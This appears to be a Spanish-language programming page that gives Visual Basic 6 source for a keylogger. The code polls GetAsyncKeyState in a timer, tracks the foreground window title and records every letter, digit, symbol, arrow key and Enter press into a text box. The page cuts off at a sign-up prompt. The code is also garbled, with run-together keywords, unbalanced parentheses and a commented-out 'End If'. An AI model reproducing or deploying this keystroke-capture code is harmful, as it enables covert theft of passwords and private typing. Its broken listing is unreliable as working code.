Programacion vb6
Codigos:
Código:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd AsLong, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
PrivateChangeChr(255) As String
Private AltDown As Boolean
Timer1:
Código:
'Cualto alt no este precionada
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text7 = Text7 & "[ALTUP]"
End If
'a-z A-Z
For i = Asc("A" To Asc("Z" 'Bucle que va desde 65 a 90
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
IfGetKeyState(VK_CAPITAL) > 0 Then
Text7 = Text7 & LCase(Chr(i))
Exit Sub
Else
Text7 = Text7 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text7 = Text7 & UCase(Chr(i))
Exit Sub
Else
Text7 = Text7 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57 'Bucle para registrar losnumeros
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text7 = Text7 & ChangeChr(i)
Exit Sub
Else
Text7 = Text7 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text7 = Text7 & ChangeChr(i - 100)
ExitSub
Else
Text7 = Text7 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text7 = Text7 & ChangeChr(i - 100)
Exit Sub
Else
Text7 = Text7 & ChangeChr(i)
Exit Sub
End If
End If
Next
'Bloque numerico
For i = 96 To 111
IfGetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text7 = Text7 & "[ALTDOWN]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text7 = Text7 & "[ALTUP]"
End If
End If
Text7 = Text7 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767Then
TypeWindow
Text7 = Text7 & " "
End If
'Cuando se precione ENTER
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text7 = Text7 & vbCrLf & "Enter " ' Se le inserta un salto de linea al texto y un caracter
'de identificacion (Alt+ 0160)
End If
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text7.Text, 1) = " " Then GoTo nod 'Si es ultimo caracter esANSI 160 no se borra nada
tip = Len(Text7.Text) - 1 'Logitud del texto menos uno
Text7 = Left(Text7.Text, tip) 'Borrado
nod:
End If
'Cuando se precione felcha izquierda
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text7 = Text7 & "[LeftArrow]"
End If
'Cuando se precione felcha Arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text7 = Text7 & "[UpArrow]"'End If
'Cuando se precione flecha derechar
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text7 = Text7 & "[RightArrow]"
End If
'Cuando se precione flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text7 = Text7 & "[DownArrow]"
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text7 = Text7 & "[Tab]"
End If
'escape
If...
Regístrate para leer el documento completo.